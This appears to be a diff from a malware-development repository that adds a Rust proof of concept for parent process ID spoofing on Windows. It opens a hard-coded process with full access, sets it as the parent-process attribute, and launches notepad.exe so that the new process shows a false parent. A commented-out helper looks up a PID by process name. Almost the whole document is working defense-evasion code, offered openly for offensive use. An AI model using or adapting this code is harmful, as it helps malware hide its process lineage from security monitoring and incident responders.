PPID Spoofing

Implemented PPID Spoofing in Rust with Error handeling capability.

Persistence/ppid_spoofing.rs

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+/*
+    POC of PPID Spoofing.
+    Resource Used: 
+        * https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
+        * https://trustedsec.com/blog/ppid-spoofing-its-really-this-easy-to-fake-your-parent
+
+    By @5mukx
+*/
+
+use std::ptr::null_mut;
+use winapi::ctypes::c_void;
+use winapi::shared::basetsd::SIZE_T;
+use winapi::um::errhandlingapi::GetLastError;
+use winapi::um::handleapi::CloseHandle;
+use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree};
+use winapi::um::processthreadsapi::{CreateProcessA, InitializeProcThreadAttributeList, OpenProcess, UpdateProcThreadAttribute, PROCESS_INFORMATION, PROC_THREAD_ATTRIBUTE_LIST, STARTUPINFOA};
+use winapi::um::winbase::STARTUPINFOEXA;
+use winapi::um::winnt::PROCESS_ALL_ACCESS;
+
+fn main()-> Result<(), Box<dyn std::error::Error>>{
+
+    unsafe{
+        let mut attribute_size: SIZE_T = Default::default();
+        let mut pi: PROCESS_INFORMATION = std::mem::zeroed();
+        let mut si: STARTUPINFOEXA = std::mem::zeroed();
+
+        // let pid = get_pid();
+        let ppid_handle = OpenProcess(
+            PROCESS_ALL_ACCESS,
+            0,
+            // get_pid("calc.exe".as_str()) as u32,
+            10140, // pid 
+        );
+
+        if ppid_handle.is_null(){
+            return Err(format!("Failed to open Process: {}", GetLastError()).into());
+        }
+
+        InitializeProcThreadAttributeList(null_mut(), 1, 0, &mut attribute_size);
+
+
+        let attribute_list = HeapAlloc(
+            GetProcessHeap(),
+            0,
+            attribute_size,
+        );
+
+        if attribute_list.is_null(){
+            CloseHandle(ppid_handle);
+            return Err("Failed to allocate memory for attribute list".into());
+        }
+
+        if InitializeProcThreadAttributeList(
+            attribute_list as *mut PROC_THREAD_ATTRIBUTE_LIST,
+            1,
+            0,
+            &mut attribute_size,
+        ) == 0 {
+            HeapFree(GetProcessHeap(), 0, attribute_list);
+            CloseHandle(ppid_handle);
+            return Err(format!("Failed to initialize attribute list: {}", GetLastError()).into());
+        }
+
+        if UpdateProcThreadAttribute(
+            attribute_list as *mut PROC_THREAD_ATTRIBUTE_LIST,
+            0,
+            0x00|0x00020000,
+            &ppid_handle as *const *mut c_void as *mut c_void,
+            std::mem::size_of::<*mut c_void>() as usize,
+            null_mut(),
+            null_mut()
+        ) == 0{
+            HeapFree(GetProcessHeap(), 0, attribute_list);
+            CloseHandle(ppid_handle);
+            return Err(format!("Failed to update process attribute: {}", GetLastError()).into());
+        }
+
+        si.StartupInfo.cb = std::mem::size_of::<STARTUPINFOA>() as u32;
+        si.lpAttributeList = attribute_list as *mut PROC_THREAD_ATTRIBUTE_LIST;
+
+        let create_process = CreateProcessA(
+            null_mut(),
+            "notepad.exe\0".as_ptr() as *mut i8,
+            null_mut(),
+            null_mut(),
+            0,
+            0x00080000,
+            null_mut(),
+            null_mut(),
+            &mut si.StartupInfo,
+            &mut pi,
+        );
+
+        if create_process == 0{
+            HeapFree(GetProcessHeap(), 0, attribute_list);
+            CloseHandle(ppid_handle);
+            return Err(format!("Failed to create process: {}", GetLastError()).into());
+        }
+
+        CloseHandle(pi.hProcess);
+        CloseHandle(pi.hThread);
+        HeapFree(GetProcessHeap(), 0, attribute_list);
+        CloseHandle(ppid_handle);
+
+    }
+    Ok(())
+}
+
+
+
+// USE  get_pid function to get the pid by its name. 
+// Source : https://github.com/Whitecat18/Rust-for-Malware-Development/blob/main/Malware_Tips/find_pid_by_name.rs
+
+/* 
+fn get_pid(process_name: &str) -> u32{
+    unsafe{
+        let mut pe: PROCESSENTRY32 = std::mem::zeroed();
+        pe.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
+
+        let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+        if snap.is_null(){
+            error!("Error while snapshoting processes : Error : {}",GetLastError());
+            std::process::exit(0);
+        }
+
+        let mut pid = 0;
+
+        let mut result = Process32First(snap, &mut pe) != 0;
+
+        while result{
+
+            let exe_file = CString::from_vec_unchecked(pe.szExeFile
+                .iter()
+                .map(|&file| file as u8)
+                .take_while(|&c| c!=0)
+                .collect::<Vec<u8>>(),
+            );
+
+            if exe_file.to_str().unwrap() == process_name {
+                pid = pe.th32ProcessID;
+                break;
+            }
+            result = Process32Next(snap, &mut pe) !=0;
+        }
+
+        if pid == 0{
+            error!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");           
+            std::process::exit(0);
+        }
+    
+        CloseHandle(snap);
+        pid
+    }
+}
+
+*/